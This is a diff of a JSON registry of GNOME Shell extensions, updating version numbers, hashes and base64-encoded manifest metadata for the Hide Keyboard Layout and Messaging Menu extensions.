     "38": {"version": "6", "sha256": "0hcbjrhrg11f5p23bhss75nhc9sqlh6p1bmfq7p7m7d276ckdmkk", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImF1dGhvciI6ICJBbmRyZWFzIEFuZ2VyZXIiLAogICJkZXNjcmlwdGlvbiI6ICJGaXhlcyBvcmRlciBvZiBnbm9tZS1zaGVsbCBleHRlbnNpb25zIiwKICAiZXh0ZW5zaW9uLWlkIjogIm9yZGVyLWV4dGVuc2lvbnMiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJvcmRlciBleHRlbnNpb25zIiwKICAibmFtZSI6ICJPcmRlciBHbm9tZSBTaGVsbCBleHRlbnNpb25zIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICIzLjI0IiwKICAgICIzLjI2IiwKICAgICIzLjI4IiwKICAgICIzLjMwIiwKICAgICIzLjM0IiwKICAgICIzLjMyIiwKICAgICIzLjM2IiwKICAgICIzLjM4IiwKICAgICIzLjQwIgogIF0sCiAgInVybCI6ICIiLAogICJ1dWlkIjogIm9yZGVyLWV4dGVuc2lvbnNAd2E0NTU3LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogNgp9"},
@@ -2490,7 +2494,7 @@
     "45": {"version": "10", "sha256": "0b2hx892m80c7i7fi0p33001rr394ziwxdml574s9zf2qbpbdci4", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkhpZGUga2V5Ym9hcmQgbGF5b3V0IGluZGljYXRvciBpbiBzdGF0dXMgYmFyIiwKICAiZG9uYXRpb25zIjogewogICAgImdpdGh1YiI6ICJhaSIKICB9LAogICJuYW1lIjogIkhpZGUgS2V5Ym9hcmQgTGF5b3V0IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2FpL2hpZGUta2V5Ym9hcmQtbGF5b3V0IiwKICAidXVpZCI6ICJoaWRlLWtleWJvYXJkLWxheW91dEBzaXRuaWsucnUiLAogICJ2ZXJzaW9uIjogMTAKfQ=="},
     "46": {"version": "10", "sha256": "0b2hx892m80c7i7fi0p33001rr394ziwxdml574s9zf2qbpbdci4", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkhpZGUga2V5Ym9hcmQgbGF5b3V0IGluZGljYXRvciBpbiBzdGF0dXMgYmFyIiwKICAiZG9uYXRpb25zIjogewogICAgImdpdGh1YiI6ICJhaSIKICB9LAogICJuYW1lIjogIkhpZGUgS2V5Ym9hcmQgTGF5b3V0IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2FpL2hpZGUta2V5Ym9hcmQtbGF5b3V0IiwKICAidXVpZCI6ICJoaWRlLWtleWJvYXJkLWxheW91dEBzaXRuaWsucnUiLAogICJ2ZXJzaW9uIjogMTAKfQ=="},
     "47": {"version": "10", "sha256": "0b2hx892m80c7i7fi0p33001rr394ziwxdml574s9zf2qbpbdci4", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkhpZGUga2V5Ym9hcmQgbGF5b3V0IGluZGljYXRvciBpbiBzdGF0dXMgYmFyIiwKICAiZG9uYXRpb25zIjogewogICAgImdpdGh1YiI6ICJhaSIKICB9LAogICJuYW1lIjogIkhpZGUgS2V5Ym9hcmQgTGF5b3V0IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2FpL2hpZGUta2V5Ym9hcmQtbGF5b3V0IiwKICAidXVpZCI6ICJoaWRlLWtleWJvYXJkLWxheW91dEBzaXRuaWsucnUiLAogICJ2ZXJzaW9uIjogMTAKfQ=="},
-    "48": {"version": "10", "sha256": "0b2hx892m80c7i7fi0p33001rr394ziwxdml574s9zf2qbpbdci4", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkhpZGUga2V5Ym9hcmQgbGF5b3V0IGluZGljYXRvciBpbiBzdGF0dXMgYmFyIiwKICAiZG9uYXRpb25zIjogewogICAgImdpdGh1YiI6ICJhaSIKICB9LAogICJuYW1lIjogIkhpZGUgS2V5Ym9hcmQgTGF5b3V0IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2FpL2hpZGUta2V5Ym9hcmQtbGF5b3V0IiwKICAidXVpZCI6ICJoaWRlLWtleWJvYXJkLWxheW91dEBzaXRuaWsucnUiLAogICJ2ZXJzaW9uIjogMTAKfQ=="}
+    "48": {"version": "11", "sha256": "0yg7spwwa7r4b8l1l9i8v1gy05rg3s2cr574c74sby2rj4sa6gpj", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkhpZGUga2V5Ym9hcmQgbGF5b3V0IGluZGljYXRvciBpbiBzdGF0dXMgYmFyIiwKICAiZG9uYXRpb25zIjogewogICAgImdpdGh1YiI6ICJhaSIKICB9LAogICJuYW1lIjogIkhpZGUgS2V5Ym9hcmQgTGF5b3V0IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2FpL2hpZGUta2V5Ym9hcmQtbGF5b3V0IiwKICAidXVpZCI6ICJoaWRlLWtleWJvYXJkLWxheW91dEBzaXRuaWsucnUiLAogICJ2ZXJzaW9uIjogMTEKfQ=="}
   }}
 , {"uuid": "poweroff-button-on-topbar@darknico.com", "name": "Poweroff Button on Topbar", "pname": "poweroff-button-on-topbar", "description": "Add poweroff button on topbar", "link": "https://extensions.gnome.org/extension/2851/poweroff-button-on-topbar/", "shell_version_map": {
     "38": {"version": "5", "sha256": "0wl9qhrrx1j1qwz7iczpn1zb2kzy7q895a1ar8178a58lddxhwzy", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZCBwb3dlcm9mZiBidXR0b24gb24gdG9wYmFyIiwKICAibmFtZSI6ICJQb3dlcm9mZiBCdXR0b24gb24gVG9wYmFyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICIzLjM2IiwKICAgICIzLjM4IiwKICAgICI0MCIsCiAgICAiNDEiLAogICAgIjQyIgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vRGFya25pY28vR05PTUUtU2hlbGwtRXh0ZW5zaW9ucyIsCiAgInV1aWQiOiAicG93ZXJvZmYtYnV0dG9uLW9uLXRvcGJhckBkYXJrbmljby5jb20iLAogICJ2ZXJzaW9uIjogNQp9"},
@@ -2540,10 +2544,10 @@
     "42": {"version": "27", "sha256": "1bssg2w71qinr2hhsyv0rpps7876y91azpqcl3dhdgipki4n7yvq", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgTWVzc2FnaW5nIE1lbnUgZm9yIHRoZSBHbm9tZSBTaGVsbC4gQWxsIEVtYWlsIGFuZCBDaGF0IEFwcGxpY2F0aW9ucyBpbiBvbmUgUGxhY2UuIiwKICAiZ2V0dGV4dC1kb21haW4iOiAibWVzc2FnaW5nbWVudSIsCiAgIm5hbWUiOiAiTWVzc2FnaW5nIE1lbnUiLAogICJvcmlnaW5hbC1hdXRob3IiOiAic2luaXN0ZXJzdHVmIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLm1lc3NhZ2luZ21lbnUiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQwIiwKICAgICI0MSIsCiAgICAiNDIiLAogICAgIjQzIiwKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0NocmlzTGF1aW5nZXI3Ny9tZXNzYWdpbmdtZW51IiwKICAidXVpZCI6ICJtZXNzYWdpbmdtZW51QGxhdWluZ2VyLWNsYW4uZGUiLAogICJ2ZXJzaW9uIjogMjcKfQ=="},
     "43": {"version": "27", "sha256": "1bssg2w71qinr2hhsyv0rpps7876y91azpqcl3dhdgipki4n7yvq", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgTWVzc2FnaW5nIE1lbnUgZm9yIHRoZSBHbm9tZSBTaGVsbC4gQWxsIEVtYWlsIGFuZCBDaGF0IEFwcGxpY2F0aW9ucyBpbiBvbmUgUGxhY2UuIiwKICAiZ2V0dGV4dC1kb21haW4iOiAibWVzc2FnaW5nbWVudSIsCiAgIm5hbWUiOiAiTWVzc2FnaW5nIE1lbnUiLAogICJvcmlnaW5hbC1hdXRob3IiOiAic2luaXN0ZXJzdHVmIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLm1lc3NhZ2luZ21lbnUiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQwIiwKICAgICI0MSIsCiAgICAiNDIiLAogICAgIjQzIiwKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0NocmlzTGF1aW5nZXI3Ny9tZXNzYWdpbmdtZW51IiwKICAidXVpZCI6ICJtZXNzYWdpbmdtZW51QGxhdWluZ2VyLWNsYW4uZGUiLAogICJ2ZXJzaW9uIjogMjcKfQ=="},
     "44": {"version": "27", "sha256": "1bssg2w71qinr2hhsyv0rpps7876y91azpqcl3dhdgipki4n7yvq", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgTWVzc2FnaW5nIE1lbnUgZm9yIHRoZSBHbm9tZSBTaGVsbC4gQWxsIEVtYWlsIGFuZCBDaGF0IEFwcGxpY2F0aW9ucyBpbiBvbmUgUGxhY2UuIiwKICAiZ2V0dGV4dC1kb21haW4iOiAibWVzc2FnaW5nbWVudSIsCiAgIm5hbWUiOiAiTWVzc2FnaW5nIE1lbnUiLAogICJvcmlnaW5hbC1hdXRob3IiOiAic2luaXN0ZXJzdHVmIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLm1lc3NhZ2luZ21lbnUiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQwIiwKICAgICI0MSIsCiAgICAiNDIiLAogICAgIjQzIiwKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0NocmlzTGF1aW5nZXI3Ny9tZXNzYWdpbmdtZW51IiwKICAidXVpZCI6ICJtZXNzYWdpbmdtZW51QGxhdWluZ2VyLWNsYW4uZGUiLAogICJ2ZXJzaW9uIjogMjcKfQ=="},
-    "45": {"version": "46", "sha256": "1kv3zgd0dwh0hf7ggnraq5qqnw7isb0nbw2c603bd8yix0798mp1", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgTWVzc2FnaW5nIE1lbnUgZm9yIHRoZSBHbm9tZSBTaGVsbC4gQWxsIEVtYWlsIGFuZCBDaGF0IEFwcGxpY2F0aW9ucyBpbiBvbmUgUGxhY2UuIiwKICAiZG9uYXRpb25zIjogewogICAgImdpdGh1YiI6ICJDaHJpc0xhdWluZ2VyNzciLAogICAgInBheXBhbCI6ICJDaHJpc0xhdWluZ2VyIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogIm1lc3NhZ2luZ21lbnUiLAogICJuYW1lIjogIk1lc3NhZ2luZyBNZW51IiwKICAib3JpZ2luYWwtYXV0aG9yIjogInNpbmlzdGVyc3R1ZiIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5tZXNzYWdpbmdtZW51IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0NocmlzTGF1aW5nZXI3Ny9nbm9tZS1zaGVsbC1leHRlbnNpb24tbWVzc2FnaW5nbWVudSIsCiAgInV1aWQiOiAibWVzc2FnaW5nbWVudUBsYXVpbmdlci1jbGFuLmRlIiwKICAidmVyc2lvbiI6IDQ2LAogICJ2ZXJzaW9uLW5hbWUiOiAiNDguMyIKfQ=="},
-    "46": {"version": "46", "sha256": "1kv3zgd0dwh0hf7ggnraq5qqnw7isb0nbw2c603bd8yix0798mp1", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgTWVzc2FnaW5nIE1lbnUgZm9yIHRoZSBHbm9tZSBTaGVsbC4gQWxsIEVtYWlsIGFuZCBDaGF0IEFwcGxpY2F0aW9ucyBpbiBvbmUgUGxhY2UuIiwKICAiZG9uYXRpb25zIjogewogICAgImdpdGh1YiI6ICJDaHJpc0xhdWluZ2VyNzciLAogICAgInBheXBhbCI6ICJDaHJpc0xhdWluZ2VyIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogIm1lc3NhZ2luZ21lbnUiLAogICJuYW1lIjogIk1lc3NhZ2luZyBNZW51IiwKICAib3JpZ2luYWwtYXV0aG9yIjogInNpbmlzdGVyc3R1ZiIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5tZXNzYWdpbmdtZW51IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0NocmlzTGF1aW5nZXI3Ny9nbm9tZS1zaGVsbC1leHRlbnNpb24tbWVzc2FnaW5nbWVudSIsCiAgInV1aWQiOiAibWVzc2FnaW5nbWVudUBsYXVpbmdlci1jbGFuLmRlIiwKICAidmVyc2lvbiI6IDQ2LAogICJ2ZXJzaW9uLW5hbWUiOiAiNDguMyIKfQ=="},
-    "47": {"version": "46", "sha256": "1kv3zgd0dwh0hf7ggnraq5qqnw7isb0nbw2c603bd8yix0798mp1", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgTWVzc2FnaW5nIE1lbnUgZm9yIHRoZSBHbm9tZSBTaGVsbC4gQWxsIEVtYWlsIGFuZCBDaGF0IEFwcGxpY2F0aW9ucyBpbiBvbmUgUGxhY2UuIiwKICAiZG9uYXRpb25zIjogewogICAgImdpdGh1YiI6ICJDaHJpc0xhdWluZ2VyNzciLAogICAgInBheXBhbCI6ICJDaHJpc0xhdWluZ2VyIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogIm1lc3NhZ2luZ21lbnUiLAogICJuYW1lIjogIk1lc3NhZ2luZyBNZW51IiwKICAib3JpZ2luYWwtYXV0aG9yIjogInNpbmlzdGVyc3R1ZiIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5tZXNzYWdpbmdtZW51IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0NocmlzTGF1aW5nZXI3Ny9nbm9tZS1zaGVsbC1leHRlbnNpb24tbWVzc2FnaW5nbWVudSIsCiAgInV1aWQiOiAibWVzc2FnaW5nbWVudUBsYXVpbmdlci1jbGFuLmRlIiwKICAidmVyc2lvbiI6IDQ2LAogICJ2ZXJzaW9uLW5hbWUiOiAiNDguMyIKfQ=="},
-    "48": {"version": "46", "sha256": "1kv3zgd0dwh0hf7ggnraq5qqnw7isb0nbw2c603bd8yix0798mp1", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgTWVzc2FnaW5nIE1lbnUgZm9yIHRoZSBHbm9tZSBTaGVsbC4gQWxsIEVtYWlsIGFuZCBDaGF0IEFwcGxpY2F0aW9ucyBpbiBvbmUgUGxhY2UuIiwKICAiZG9uYXRpb25zIjogewogICAgImdpdGh1YiI6ICJDaHJpc0xhdWluZ2VyNzciLAogICAgInBheXBhbCI6ICJDaHJpc0xhdWluZ2VyIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogIm1lc3NhZ2luZ21lbnUiLAogICJuYW1lIjogIk1lc3NhZ2luZyBNZW51IiwKICAib3JpZ2luYWwtYXV0aG9yIjogInNpbmlzdGVyc3R1ZiIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5tZXNzYWdpbmdtZW51IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0NocmlzTGF1aW5nZXI3Ny9nbm9tZS1zaGVsbC1leHRlbnNpb24tbWVzc2FnaW5nbWVudSIsCiAgInV1aWQiOiAibWVzc2FnaW5nbWVudUBsYXVpbmdlci1jbGFuLmRlIiwKICAidmVyc2lvbiI6IDQ2LAogICJ2ZXJzaW9uLW5hbWUiOiAiNDguMyIKfQ=="}
+    "45": {"version": "50", "sha256": "14rp1fb3zmgmvjl2zq6l2h6gkvhfyr0abq7mgjdd5b1lf4z707f1", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgTWVzc2FnaW5nIE1lbnUgZm9yIHRoZSBHbm9tZSBTaGVsbC4gQWxsIEVtYWlsIGFuZCBDaGF0IEFwcGxpY2F0aW9ucyBpbiBvbmUgUGxhY2UuIiwKICAiZG9uYXRpb25zIjogewogICAgImdpdGh1YiI6ICJDaHJpc0xhdWluZ2VyNzciLAogICAgInBheXBhbCI6ICJDaHJpc0xhdWluZ2VyIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogIm1lc3NhZ2luZ21lbnUiLAogICJuYW1lIjogIk1lc3NhZ2luZyBNZW51IiwKICAib3JpZ2luYWwtYXV0aG9yIjogInNpbmlzdGVyc3R1ZiIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5tZXNzYWdpbmdtZW51IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0NocmlzTGF1aW5nZXI3Ny9nbm9tZS1zaGVsbC1leHRlbnNpb24tbWVzc2FnaW5nbWVudSIsCiAgInV1aWQiOiAibWVzc2FnaW5nbWVudUBsYXVpbmdlci1jbGFuLmRlIiwKICAidmVyc2lvbiI6IDUwLAogICJ2ZXJzaW9uLW5hbWUiOiAiNDguNyIKfQ=="},
+    "46": {"version": "50", "sha256": "14rp1fb3zmgmvjl2zq6l2h6gkvhfyr0abq7mgjdd5b1lf4z707f1", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgTWVzc2FnaW5nIE1lbnUgZm9yIHRoZSBHbm9tZSBTaGVsbC4gQWxsIEVtYWlsIGFuZCBDaGF0IEFwcGxpY2F0aW9ucyBpbiBvbmUgUGxhY2UuIiwKICAiZG9uYXRpb25zIjogewogICAgImdpdGh1YiI6ICJDaHJpc0xhdWluZ2VyNzciLAogICAgInBheXBhbCI6ICJDaHJpc0xhdWluZ2VyIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogIm1lc3NhZ2luZ21lbnUiLAogICJuYW1lIjogIk1lc3NhZ2luZyBNZW51IiwKICAib3JpZ2luYWwtYXV0aG9yIjogInNpbmlzdGVyc3R1ZiIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5tZXNzYWdpbmdtZW51IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0NocmlzTGF1aW5nZXI3Ny9nbm9tZS1zaGVsbC1leHRlbnNpb24tbWVzc2FnaW5nbWVudSIsCiAgInV1aWQiOiAibWVzc2FnaW5nbWVudUBsYXVpbmdlci1jbGFuLmRlIiwKICAidmVyc2lvbiI6IDUwLAogICJ2ZXJzaW9uLW5hbWUiOiAiNDguNyIKfQ=="},
+    "47": {"version": "50", "sha256": "14rp1fb3zmgmvjl2zq6l2h6gkvhfyr0abq7mgjdd5b1lf4z707f1", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgTWVzc2FnaW5nIE1lbnUgZm9yIHRoZSBHbm9tZSBTaGVsbC4gQWxsIEVtYWlsIGFuZCBDaGF0IEFwcGxpY2F0aW9ucyBpbiBvbmUgUGxhY2UuIiwKICAiZG9uYXRpb25zIjogewogICAgImdpdGh1YiI6ICJDaHJpc0xhdWluZ2VyNzciLAogICAgInBheXBhbCI6ICJDaHJpc0xhdWluZ2VyIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogIm1lc3NhZ2luZ21lbnUiLAogICJuYW1lIjogIk1lc3NhZ2luZyBNZW51IiwKICAib3JpZ2luYWwtYXV0aG9yIjogInNpbmlzdGVyc3R1ZiIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5tZXNzYWdpbmdtZW51IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0NocmlzTGF1aW5nZXI3Ny9nbm9tZS1zaGVsbC1leHRlbnNpb24tbWVzc2FnaW5nbWVudSIsCiAgInV1aWQiOiAibWVzc2FnaW5nbWVudUBsYXVpbmdlci1jbGFuLmRlIiwKICAidmVyc2lvbiI6IDUwLAogICJ2ZXJzaW9uLW5hbWUiOiAiNDguNyIKfQ=="},
+    "48": {"version": "50", "sha256": "14rp1fb3zmgmvjl2zq6l2h6gkvhfyr0abq7mgjdd5b1lf4z707f1", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgTWVzc2FnaW5nIE1lbnUgZm9yIHRoZSBHbm9tZSBTaGVsbC4gQWxsIEVtYWlsIGFuZCBDaGF0IEFwcGxpY2F0aW9ucyBpbiBvbmUgUGxhY2UuIiwKICAiZG9uYXRpb25zIjogewogICAgImdpdGh1YiI6ICJDaHJpc0xhdWluZ2VyNzciLAogICAgInBheXBhbCI6ICJDaHJpc0xhdWluZ2VyIgogIH0sCiAgImdldHRleHQtZG9tYWluIjogIm1lc3NhZ2luZ21lbnUiLAogICJuYW1lIjogIk1lc3NhZ2luZyBNZW51IiwKICAib3JpZ2luYWwtYXV0aG9yIjogInNpbmlzdGVyc3R1ZiIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5tZXNzYWdpbmdtZW51IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0NocmlzTGF1aW5nZXI3Ny9nbm9tZS1zaGVsbC1leHRlbnNpb24tbWVzc2FnaW5nbWVudSIsCiAgInV1aWQiOiAibWVzc2FnaW5nbWVudUBsYXVpbmdlci1jbGFuLmRlIiwKICAidmVyc2lvbiI6IDUwLAogICJ2ZXJzaW9uLW5hbWUiOiAiNDguNyIKfQ=="}
   }}
 , {"uuid": "SettingsCenter@lauinger-clan.de", "name": "SettingsCenter", "pname": "settingscenter", "description": "Settings Center is a customizable drop-down menu for quickly launching frequently used apps in Gnome:Shell via the quicksettings. Originally created by XES.\n\nSettings shortcuts : gnome-tweak-tool, dconf-editor, gconf-editor, gnome-session-properties, gnome-shell-extension-prefs, seahorse and nvidia-settings. You can add your own\n\nOriginal source : http://svn.xesnet.fr/gnomeextensions", "link": "https://extensions.gnome.org/extension/2899/settingscenter/", "shell_version_map": {
     "38": {"version": "2", "sha256": "0sywdlmfgy4k5bkxmawcb7b8100g8wnpndmwvdzjq51xv5605gcs", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNldHRpbmdzIENlbnRlciBpcyBhIGN1c3RvbWl6YWJsZSBkcm9wLWRvd24gbWVudSBmb3IgcXVpY2tseSBsYXVuY2hpbmcgZnJlcXVlbnRseSB1c2VkIGFwcHMgaW4gR25vbWU6U2hlbGwgdmlhIHRoZSBxdWlja3NldHRpbmdzLiBPcmlnaW5hbGx5IGNyZWF0ZWQgYnkgWEVTLlxuXG5TZXR0aW5ncyBzaG9ydGN1dHMgOiBnbm9tZS10d2Vhay10b29sLCBkY29uZi1lZGl0b3IsIGdjb25mLWVkaXRvciwgZ25vbWUtc2Vzc2lvbi1wcm9wZXJ0aWVzLCBnbm9tZS1zaGVsbC1leHRlbnNpb24tcHJlZnMsIHNlYWhvcnNlIGFuZCBudmlkaWEtc2V0dGluZ3MuIFlvdSBjYW4gYWRkIHlvdXIgb3duXG5cbk9yaWdpbmFsIHNvdXJjZSA6IGh0dHA6Ly9zdm4ueGVzbmV0LmZyL2dub21lZXh0ZW5zaW9ucyIsCiAgImxvY2FsZSI6ICIvdXNyL3NoYXJlL2xvY2FsZSIsCiAgIm5hbWUiOiAiU2V0dGluZ3NDZW50ZXIiLAogICJvcmlnaW5hbC1hdXRob3IiOiAiWGVzLCBsMzAwbHZsIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICIzLjQiLAogICAgIjMuNiIsCiAgICAiMy41LjQiLAogICAgIjMuOCIsCiAgICAiMy4xMCIsCiAgICAiMy4xMiIsCiAgICAiMy4xNCIsCiAgICAiMy4xNiIsCiAgICAiMy4xOCIsCiAgICAiMy4yMCIsCiAgICAiMy4yMiIsCiAgICAiMy4yNCIsCiAgICAiMy4yNiIsCiAgICAiMy4yOCIsCiAgICAiMy4zMCIsCiAgICAiMy4zNCIsCiAgICAiMy4zMiIsCiAgICAiMy4zNiIsCiAgICAiMy4zOCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0NocmlzTGF1aW5nZXI3Ny9YRVMtU2V0dGluZ3MtQ2VudGVyLUV4dGVuc2lvbiIsCiAgInV1aWQiOiAiU2V0dGluZ3NDZW50ZXJAbGF1aW5nZXItY2xhbi5kZSIsCiAgInZlcnNpb24iOiAyCn0="},
@@ -2893,8 +2897,9 @@
